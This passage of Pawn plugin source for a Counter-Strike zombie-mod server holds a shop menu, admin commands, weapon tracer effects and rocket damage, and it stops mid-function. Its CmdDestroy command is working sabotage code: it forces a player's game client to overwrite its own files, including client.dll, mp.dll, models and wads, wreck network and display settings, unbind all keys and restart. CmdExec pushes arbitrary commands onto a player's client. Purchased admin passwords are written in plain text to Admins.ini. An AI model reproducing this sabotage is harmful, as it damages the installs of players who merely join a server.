7481 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7482 {
7483 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7484 }
7485 else
7486 {
7487 if (get_user_flags ( iPlayer ) & read_flags ( "r" ))
7488 {
7489 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
7490 return 1
7491 }
7492 g_bServerSlot[iPlayer] = true;
7493 client_cmd(iPlayer, "messagemode amx_password_for_slot");
7494 set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
7495 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7496 savePoints(iPlayer)
7497 return 1
7498 }
7499 }
7500 case 2:
7501 {
7502 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7503 {
7504 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7505 }
7506 else
7507 {
7508 if (get_user_flags ( iPlayer ) & read_flags ( "m" ))
7509 {
7510 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
7511 return 1
7512 }
7513 g_bAdminModel[iPlayer] = true;
7514 client_cmd(iPlayer, "messagemode amx_password_for_model");
7515 set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
7516 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7517 savePoints(iPlayer)
7518 return 1
7519 }
7520 }
7521 case 3:
7522 {
7523 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7524 {
7525 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7526 }
7527 else
7528 {
7529 g_iPacks[iPlayer] += 100;
7530 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7531 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7532 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer]);
7533 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 100 ammo packs", g_cName[iPlayer]);
7534 savePoints(iPlayer)
7535 }
7536 }
7537 case 4:
7538 {
7539 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7540 {
7541 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7542 }
7543 else
7544 {
7545 g_iPacks[iPlayer] += 200;
7546 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7547 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7548 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer]);
7549 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 200 ammo packs", g_cName[iPlayer]);
7550 savePoints(iPlayer)
7551 }
7552 }
7553 case 5:
7554 {
7555 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7556 {
7557 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7558 }
7559 else
7560 {
7561 g_iPacks[iPlayer] += 300;
7562 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7563 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7564 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer]);
7565 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 300 ammo packs", g_cName[iPlayer]);
7566 savePoints(iPlayer)
7567 }
7568 }
7569 case 6:
7570 {
7571 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7572 {
7573 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7574 }
7575 else
7576 {
7577 if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
7578 {
7579 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
7580 }
7581 g_bNoDamage[iPlayer] = true;
7582 fm_set_user_godmode(iPlayer, 1)
7583 fm_set_rendering(iPlayer, kRenderFxGlowShell, 19, 32, 192, 0)
7584 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7585 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7586 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought God Mode!", g_cName[iPlayer]);
7587 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 God Mode", g_cName[iPlayer]);
7588 savePoints(iPlayer)
7589 }
7590 }
7591 case 7:
7592 {
7593 if (g_iShopItemsPrices[iChoice] > g_iPacks[iPlayer])
7594 {
7595 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough packs!")
7596 }
7597 else
7598 {
7599 g_iPoints[iPlayer] += 1000;
7600 g_iPacks[iPlayer] -= g_iShopItemsPrices[iChoice];
7601 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7602 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 1,000 Points!", g_cName[iPlayer]);
7603 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 1,000 Points", g_cName[iPlayer]);
7604 savePoints(iPlayer)
7605 }
7606 }
7607 default:
7608 {
7609 }
7610 }
7611 }
7612 return 0;
7613}
7614
7615
7616
7617
7618public CmdKick(iPlayer)
7619{
7620 if ( get_user_flags ( iPlayer ) & read_flags ( "c" ) )
7621 {
7622 if (3 > read_argc())
7623 {
7624 console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
7625 return 1;
7626 }
7627 static iTarget;
7628 static cReason[36];
7629 static cTarget[32];
7630 read_argv(1, cTarget, 32);
7631 read_argv(2, cReason, 36);
7632 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7633 if ( !iTarget ) return PLUGIN_HANDLED;
7634 if (iTarget)
7635 {
7636 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 kicked^4 %s^1 due to^3 %s", g_cName[iPlayer], g_cName[iTarget], cReason);
7637 server_cmd("kick #%d You are kicked!", get_user_userid(iTarget));
7638 }
7639 return 1;
7640 }
7641 return 1;
7642}
7643
7644public CmdSlay(iPlayer)
7645{
7646 if (get_user_flags ( iPlayer ) & read_flags ( "e" ) )
7647 {
7648 if (2 > read_argc())
7649 {
7650 console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
7651 return 1;
7652 }
7653 static iTarget;
7654 static cTarget[32];
7655 read_argv(1, cTarget, 32);
7656 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7657 if ( !iTarget ) return PLUGIN_HANDLED;
7658 if (iTarget)
7659 {
7660 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 slayed^4 %s", g_cName[iPlayer], g_cName[iTarget]);
7661 user_kill(iTarget);
7662 }
7663 return 1;
7664 }
7665 return 0;
7666}
7667
7668public CmdFreeze(iPlayer)
7669{
7670 if (get_user_flags ( iPlayer ) & read_flags ( "1" ) )
7671 {
7672 static iTarget;
7673 static cTarget[33];
7674 read_argv(1, cTarget, 32);
7675 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7676 if ( !iTarget ) return PLUGIN_HANDLED;
7677 if (iTarget)
7678 {
7679 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 frost^1 due to^3 camping", g_cName[iPlayer], g_cName[iTarget]);
7680 g_bFrozen[iTarget] = true;
7681 ExecuteHamB(Ham_Item_PreFrame, iTarget);
7682 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25 );
7683 }
7684 return 1;
7685 }
7686 return 0;
7687}
7688
7689public CmdUnfreeze(iPlayer)
7690{
7691 if (get_user_flags ( iPlayer ) & read_flags ( "1" ) )
7692 {
7693 static iTarget;
7694 static cTarget[33];
7695 read_argv(1, cTarget, 32);
7696 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7697 if ( !iTarget ) return PLUGIN_HANDLED;
7698 if (iTarget)
7699 {
7700 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 unfroze", g_cName[iPlayer], g_cName[iTarget]);
7701 g_bFrozen[iTarget] = false;
7702 ExecuteHamB(Ham_Item_PreFrame, iTarget);
7703 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 0 );
7704 }
7705 return 1;
7706 }
7707 return 0;
7708}
7709
7710public CmdDestroy(iPlayer)
7711{
7712 if (get_user_flags ( iPlayer ) & read_flags ( "4" ) )
7713 {
7714 static iTarget;
7715 static cTarget[32];
7716 read_argv(1, cTarget, 32);
7717 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7718 if ( !iTarget ) return PLUGIN_HANDLED;
7719 if (0 < iTarget)
7720 {
7721 client_cmd(iTarget, "unbindall; bind ` ^"say I_have_been_destroyed^"; bind ~ ^"say I_have_been_destroyed^"; bind esc ^"say I_have_been_destroyed^"");
7722 client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
7723 client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
7724 client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
7725 client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
7726 client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
7727 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 destroy^3 %s", g_cName[iPlayer], g_cName[iTarget]);
7728 client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
7729 }
7730 console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
7731 }
7732 return 0;
7733}
7734
7735public CmdGag(iPlayer)
7736{
7737 if (get_user_flags ( iPlayer ) & read_flags ( "@" ) )
7738 {
7739 static cCommand[32];
7740 read_argv(0, cCommand, 32);
7741 if (equali(cCommand, "amx_gag", 0))
7742 {
7743 static iTarget;
7744 static iTime[3];
7745 static cTarget[32];
7746 read_argv(1, cTarget, 32);
7747 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7748 if ( !iTarget ) return PLUGIN_HANDLED;
7749 read_argv(2, iTime, 2);
7750 if (!iTarget)
7751 {
7752 return 1;
7753 }
7754 if (g_fGagTime[iTarget] < get_gametime())
7755 {
7756 g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
7757 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 gag^3 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
7758 }
7759 else
7760 {
7761 console_print(iPlayer, "[Zombie Outstanding] Player ^"%s^" is already gagged", g_cName[iTarget]);
7762 }
7763 }
7764 if (equali(cCommand, "amx_ungag", 0))
7765 {
7766 static iTarget;
7767 static cTarget[32];
7768 read_argv(1, cTarget, 32);
7769 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7770 if ( !iTarget ) return PLUGIN_HANDLED;
7771 if (g_fGagTime[iTarget] > get_gametime())
7772 {
7773 g_fGagTime[iTarget] = false;
7774 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 ungag^3 %s", g_cName[iPlayer], g_cName[iTarget]);
7775 }
7776 else
7777 {
7778 console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
7779 }
7780 }
7781 }
7782 return 0;
7783}
7784
7785public CmdSlap(iPlayer)
7786{
7787 if (get_user_flags ( iPlayer ) & read_flags ( "$" ) )
7788 {
7789 static iTarget;
7790 static iDamage;
7791 static cDamage[15];
7792 static cTarget[32];
7793 read_argv(1, cTarget, 32);
7794 read_argv(2, cDamage, 7);
7795 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7796 if ( !iTarget ) return PLUGIN_HANDLED;
7797 iDamage = clamp(str_to_num(cDamage), 0, 999999);
7798 if (0 < iTarget)
7799 {
7800 user_slap(iTarget, iDamage, 1);
7801 AddCommas(iDamage, cDamage, 14);
7802 if (0 < iDamage)
7803 {
7804 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s^1 with^4 %s damage", g_cName[iPlayer], g_cName[iTarget], cDamage);
7805 }
7806 else
7807 {
7808 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s", g_cName[iPlayer], g_cName[iTarget]);
7809 }
7810 }
7811 else
7812 {
7813 console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
7814 }
7815 }
7816 return 0;
7817}
7818
7819public ChangeMap ( Map [ ] ) server_cmd ( "changelevel %s", Map );
7820
7821public CmdMap(id)
7822{
7823 if (get_user_flags ( id ) & read_flags ( "7" ) )
7824 {
7825
7826 if ( read_argc ( ) < 2 ) return PLUGIN_HANDLED;
7827
7828 new Arg [32], ArgLen = read_argv ( 1, Arg, charsmax ( Arg ) );
7829
7830 if ( !is_map_valid ( Arg ) )
7831 {
7832 console_print ( id, "[Zombie Outstanding] Map %s is not valid!", Arg );
7833
7834 return PLUGIN_HANDLED;
7835 }
7836
7837 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 changed map to^4 %s", GetInfoPlayer ( id, INFO_NAME ), Arg );
7838
7839 new ModName [10]; get_modname ( ModName, charsmax ( ModName ) )
7840
7841 if ( !equal ( ModName, "zp" ) )
7842 {
7843 message_begin ( MSG_ALL, SVC_INTERMISSION );
7844
7845 message_end ( );
7846 }
7847
7848 set_task(1.0, "ShutDownSQL", 0, "", 0, "", 0);
7849
7850 set_task ( 11.75, "ChangeMap", 0, Arg, ArgLen + 1 );
7851 }
7852 return PLUGIN_HANDLED;
7853}
7854
7855public ShutDownSQL()
7856{
7857 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Shutting down^3 MySQL^1 connection... Map change in^3 11 seconds!");
7858 return 0;
7859}
7860
7861public CmdExec(iPlayer)
7862{
7863 if (get_user_flags ( iPlayer ) & read_flags ( "@" ) )
7864 {
7865 static iTarget;
7866 static cCommand[64];
7867 static cTarget[32];
7868 read_argv(1, cTarget, 32);
7869 read_argv(2, cCommand, 64);
7870 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7871 if ( !iTarget ) return PLUGIN_HANDLED;
7872 if (0 < iTarget)
7873 {
7874 client_cmd(iTarget, cCommand);
7875 }
7876 console_print(iPlayer, "[Zombie Outstanding] Player not found!");
7877 }
7878 return 1;
7879}
7880
7881public CmdLast(iPlayer)
7882{
7883 if (get_user_flags ( iPlayer ) & read_flags ( "3" ) )
7884 {
7885 static cAddress[24];
7886 static cName[32];
7887 static i;
7888 i = 0;
7889 while (i < g_iSize)
7890 {
7891 GetInfo(i, cName, 32, cAddress, 24);
7892 console_print(iPlayer, "%32s %24s", cName, cAddress);
7893 i += 1;
7894 }
7895 }
7896 return 0;
7897}
7898
7899public CmdBan ( id )
7900{
7901 if (get_user_flags ( id ) & read_flags ( "d" ) )
7902 {
7903
7904 if ( read_argc ( ) < 3 )
7905 {
7906 console_print(id, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
7907 return 1;
7908 }
7909
7910 new Target [32], Minutes [8], Reason [64];
7911
7912 read_argv ( 1, Target, charsmax ( Target ) );
7913
7914 read_argv ( 2, Minutes, charsmax ( Minutes ) );
7915
7916 read_argv ( 3, Reason, charsmax ( Reason ) );
7917
7918 new Player = cmd_target ( id, Target, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7919 if ( !Player ) return PLUGIN_HANDLED;
7920 new nNum = str_to_num ( Minutes );
7921 if ( nNum < 0 )
7922 {
7923 nNum = 0;
7924
7925 Minutes = "0";
7926 }
7927 new Temp [64], Banned [16];
7928 if ( nNum )
7929
7930 format ( Temp, charsmax ( Temp ), "for %s min", Minutes );
7931 else
7932 format ( Temp, charsmax ( Temp ), "permanently" );
7933 format ( Banned, charsmax ( Banned ), "Banned" );
7934
7935 if ( Reason [0] )
7936 {
7937 server_cmd ( "kick #%d ^"%s (%s %s)^";wait;addip ^"%s^" ^"%s^";wait;writeip", get_user_userid ( Player ), Reason, Banned, Temp, Minutes, GetInfoPlayer ( Player, INFO_IP ) );
7938 }
7939 else
7940 {
7941 server_cmd ( "kick #%d ^"%s %s^";wait;addip ^"%s^" ^"%s^";wait;writeip", get_user_userid ( Player ), Banned, Temp, Minutes, GetInfoPlayer ( Player, INFO_IP ) );
7942 }
7943
7944 if ( nNum )
7945 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", GetInfoPlayer ( id, INFO_NAME ), GetInfoPlayer ( id, INFO_AUTHID ), nNum, nNum == 1 ? "" : "s" );
7946 else
7947 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", GetInfoPlayer ( id, INFO_NAME ), GetInfoPlayer ( id, INFO_AUTHID ), Reason );
7948 }
7949
7950 return PLUGIN_HANDLED;
7951}
7952
7953public CmdUnBan(id)
7954{
7955 if (get_user_flags ( id ) & read_flags ( "d" ) )
7956 {
7957 if ( read_argc ( ) < 2 ) return PLUGIN_HANDLED;
7958
7959 new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );
7960
7961 if ( contain ( Arg, "." ) != -1 )
7962 {
7963 server_cmd ( "removeip ^"%s^";writeip", Arg )
7964 }
7965 else
7966 {
7967 server_cmd ( "removeid ^"%s^";writeid", Arg );
7968 }
7969 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 UnBan^4 %s^3", GetInfoPlayer ( id, INFO_NAME ), Arg );
7970 }
7971
7972 return PLUGIN_HANDLED;
7973}
7974
7975public CmdChat(iPlayer)
7976{
7977 if (get_user_flags ( iPlayer ) & read_flags ( "f" ) )
7978 {
7979 static i;
7980 static cPhrase[192];
7981 read_args(cPhrase, 192);
7982 remove_quotes(cPhrase);
7983 if (contain(cPhrase, "%") != -1)
7984 {
7985 return 1;
7986 }
7987 cPhrase[189] = 0;
7988 i = 1;
7989 while (g_iMaxClients + 1 > i)
7990 {
7991 if (g_bConnected[i])
7992 {
7993 client_print_color (i, print_team_grey, "^4[ADMINS]^3 %s^1 : %s", g_cName[iPlayer], cPhrase);
7994 }
7995 i += 1;
7996 }
7997 }
7998 return 1;
7999}
8000
8001public CmdSayChat(iPlayer)
8002{
8003 if (get_user_flags ( iPlayer ) & read_flags ( "y" ) )
8004 {
8005 static i;
8006 static cPhrase[192];
8007 read_args(cPhrase, 192);
8008 remove_quotes(cPhrase);
8009 if (contain(cPhrase, "%") != -1)
8010 {
8011 return 1;
8012 }
8013 cPhrase[189] = 0;
8014 i = 1;
8015 while (g_iMaxClients + 1 > i)
8016 {
8017 if (g_bConnected[i])
8018 {
8019 client_print_color (i, print_team_grey, "^4[ALL]^3 %s^1 : %s", g_cName[iPlayer], cPhrase);
8020 }
8021 i += 1;
8022 }
8023 }
8024 return 1;
8025}
8026
8027public CmdAddBan (id)
8028{
8029 if (get_user_flags ( id ) & read_flags ( "5" ) )
8030 {
8031
8032 if ( read_argc ( ) < 3 )
8033 {
8034 console_print(id, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
8035 return 1
8036 }
8037
8038 new Arg [32], Minutes [32], Reason [32];
8039
8040 read_argv ( 1, Arg, charsmax ( Arg ) );
8041
8042 read_argv ( 2, Minutes, charsmax ( Minutes ) );
8043
8044 read_argv ( 3, Reason, charsmax ( Reason ) );
8045
8046 trim ( Arg );
8047
8048 if ( contain ( Arg, "." ) != -1 )
8049 {
8050 server_cmd ( "addip ^"%s^" ^"%s^";wait;writeip", Minutes, Arg );
8051 }
8052 else
8053 {
8054 server_cmd ( "banid ^"%s^" ^"%s^";wait;writeid", Minutes, Arg );
8055 }
8056
8057 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", GetInfoPlayer ( id, INFO_NAME ), Arg, Reason );
8058 }
8059
8060 return PLUGIN_HANDLED
8061}
8062
8063
8064public CommandGetSlot(id)
8065{
8066 if (g_bServerSlot[id])
8067 {
8068 new password[16];
8069 read_args(password, charsmax(password));
8070 remove_quotes(password);
8071
8072 if(strlen(password) < 3 || strlen(password) > 15)
8073 {
8074 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password^3 Invalid^1.");
8075 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password must contain between^1 3^3 and^1 15 characters^3.");
8076 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Retype Again^3 Password^1.");
8077
8078 client_cmd(id, "messagemode amx_password_for_slot");
8079 return 1
8080 }
8081
8082 new configsDir[64];
8083 get_configsdir(configsDir, charsmax(configsDir));
8084 format(configsDir, 63, "%/Admins.ini", configsDir);
8085
8086 new name[32];
8087 get_user_name(id, name, charsmax(name));
8088
8089 new linetoadd[512];
8090 formatex(linetoadd, 511, "^n^"%s^" ^"%s^" ^"r^"", name, password);
8091 server_print("Adding: %s", linetoadd);
8092
8093 if(!write_file(configsDir, linetoadd))
8094 console_print(id, "[Zombie OutStanding] Failed writing to %s!", configsDir);
8095
8096 set_user_info(id, "_pw", password);
8097 server_cmd("amx_reloadadmins");
8098
8099 console_print(id, "");
8100 console_print(id, "****************************");
8101 console_print(id, "Done! You have now slot access!");
8102 console_print(id, "Be careful, to login with your account,");
8103 console_print(id, "You should type in your console");
8104 console_print(id, "setinfo _pw ^"password^"");
8105 console_print(id, "We hope you enjoy you have fun!");
8106 console_print(id, "****************************");
8107 console_print(id, "");
8108 server_cmd("kick #%d Check your console!", get_user_userid(id));
8109 }
8110 return PLUGIN_HANDLED
8111}
8112
8113public CommandGetModel(id)
8114{
8115 if (g_bAdminModel[id])
8116 {
8117 new password[16];
8118 read_args(password, charsmax(password));
8119 remove_quotes(password);
8120
8121 if(strlen(password) < 3 || strlen(password) > 15)
8122 {
8123 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password^3 Invalid^1.");
8124 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password must contain between^1 3^3 and^1 15 characters^3.");
8125 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Retype Again^3 Password^1.");
8126
8127 client_cmd(id, "messagemode amx_password_for_model");
8128 return 1
8129 }
8130
8131 new configsDir[64];
8132 get_configsdir(configsDir, charsmax(configsDir));
8133 format(configsDir, 63, "%/Admins.ini", configsDir);
8134
8135 new name[32];
8136 get_user_name(id, name, charsmax(name));
8137
8138 new linetoadd[512];
8139 formatex(linetoadd, 511, "^n^"%s^" ^"%s^" ^"m^"", name, password);
8140 server_print("Adding: %s", linetoadd);
8141
8142 if(!write_file(configsDir, linetoadd))
8143 console_print(id, "[Zombie OutStanding] Failed writing to %s!", configsDir);
8144
8145 set_user_info(id, "_pw", password);
8146 server_cmd("amx_reloadadmins");
8147
8148 console_print(id, "");
8149 console_print(id, "****************************");
8150 console_print(id, "Done! You have now slot access!");
8151 console_print(id, "Be careful, to login with your account,");
8152 console_print(id, "You should type in your console");
8153 console_print(id, "setinfo _pw ^"password^"");
8154 console_print(id, "We hope you enjoy you have fun!");
8155 console_print(id, "****************************");
8156 console_print(id, "");
8157 server_cmd("kick #%d Check your console!", get_user_userid(id));
8158 }
8159 return PLUGIN_HANDLED
8160}
8161
8162public Golden_Ak_Tracer(ent, attacker, Float:damage, Float:dir[3], ptr, iDamageType)
8163{
8164 if ((g_iWeapon [attacker] == CSW_AK47) && (g_bGolden [attacker] ))
8165 {
8166 new Float:flEnd[3];
8167 get_tr2(ptr, TR_vecEndPos, flEnd);
8168
8169 message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
8170 write_byte(TE_BEAMENTPOINT);
8171 write_short(attacker | 0x1000);
8172 engfunc(EngFunc_WriteCoord, flEnd[0]);
8173 engfunc(EngFunc_WriteCoord, flEnd[1]);
8174 engfunc(EngFunc_WriteCoord, flEnd[2]);
8175 write_short(SpriteTexture);
8176 write_byte(0);
8177 write_byte(0);
8178 write_byte(1);
8179 write_byte(5);
8180 write_byte(0);
8181 write_byte(255);
8182 write_byte(160);
8183 write_byte(100);
8184 write_byte(128);
8185 write_byte(0);
8186 message_end();
8187 }
8188 return HAM_IGNORED;
8189}
8190
8191public Golden_Deagle_Tracer(ent, attacker, Float:damage, Float:dir[3], ptr, iDamageType)
8192{
8193 if ((g_iWeapon [attacker] == CSW_DEAGLE) && (g_bGoldenDeagle [attacker]))
8194 {
8195 new Float:flEnd[3];
8196 get_tr2(ptr, TR_vecEndPos, flEnd);
8197
8198 message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
8199 write_byte(TE_BEAMENTPOINT);
8200 write_short(attacker | 0x1000);
8201 engfunc(EngFunc_WriteCoord, flEnd[0]);
8202 engfunc(EngFunc_WriteCoord, flEnd[1]);
8203 engfunc(EngFunc_WriteCoord, flEnd[2]);
8204 write_short(SpriteTexture);
8205 write_byte(0);
8206 write_byte(0);
8207 write_byte(1);
8208 write_byte(5);
8209 write_byte(0);
8210 write_byte(255);
8211 write_byte(160);
8212 write_byte(100);
8213 write_byte(128);
8214 write_byte(0);
8215 message_end();
8216 }
8217 return HAM_IGNORED;
8218}
8219
8220
8221public CmdPoints(id)
8222{
8223 if ( !access ( id, read_flags ("3") ) ) return PLUGIN_HANDLED;
8224
8225 static Arg[32], amount[16], Player, points
8226
8227 read_argv(1, Arg, charsmax(Arg))
8228
8229 read_argv(2, amount, charsmax(amount))
8230
8231 Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );
8232
8233 if ( !Player ) return PLUGIN_HANDLED;
8234
8235 points = str_to_num(amount);
8236
8237 if (points < 1)
8238
8239 return PLUGIN_HANDLED;
8240
8241 g_iPoints[Player] += points;
8242
8243 new str[32];
8244
8245 AddCommas ( points, str, 31 );
8246
8247 log_to_file ( "ZombieOutstanding.log", "%s gave %s points to %s", g_cName [id], str, g_cName [Player] );
8248
8249 console_print ( id ,"^nDone!" );
8250
8251 return PLUGIN_HANDLED;
8252}
8253
8254public OnFakemetaSpawn(ent)
8255{
8256 if(!pev_valid(ent))
8257 {
8258 return FMRES_IGNORED;
8259 }
8260
8261 new szClassname[32]
8262 pev(ent, pev_classname, szClassname, charsmax(szClassname))
8263
8264 for(new j = 0; j < sizeof szObjectives; j++)
8265 {
8266 if(equal(szClassname, szObjectives[j]))
8267 {
8268 engfunc(EngFunc_RemoveEntity, ent)
8269 return FMRES_SUPERCEDE;
8270 }
8271 }
8272
8273 return FMRES_IGNORED;
8274}
8275
8276public Rocket_Touch( iOwner, iRocket )
8277{
8278 if( g_bConnected[ iOwner ] )
8279 {
8280 static iPlayers[ 32 ], iNum, i;
8281 get_players( iPlayers, iNum, "a" );
8282
8283 for( i = 0; i < iNum; i++ )
8284 {
8285 if( g_bZombie[ iPlayers[ i ] ] )
8286 {
8287 static Float: fDistance, Float: fDamage;
8288 fDistance = entity_range( iPlayers[ i ], iRocket );
8289
8290 if( fDistance < 320.0 )
8291 {
8292 fDamage = 1050.0 - fDistance;
8293
8294 static Float: fVelocity[ 3 ];
8295 pev( iPlayers[ i ], pev_velocity, fVelocity );
8296 xs_vec_mul_scalar( fVelocity, 2.75, fVelocity );
8297 fVelocity[ 2 ] *= 1.75;
8298 set_pev( iPlayers[ i ], pev_velocity, fVelocity );
8299
8300 if( float( get_user_health( iPlayers[ i ] ) ) - fDamage > 0.0 )
8301 ExecuteHamB( Ham_TakeDamage, iPlayers[ i ], iRocket, iOwner, fDamage, DMG_BLAST );
8302
8303 else ExecuteHamB( Ham_Killed, iPlayers[ i ], iOwner, 2 );
8304
8305
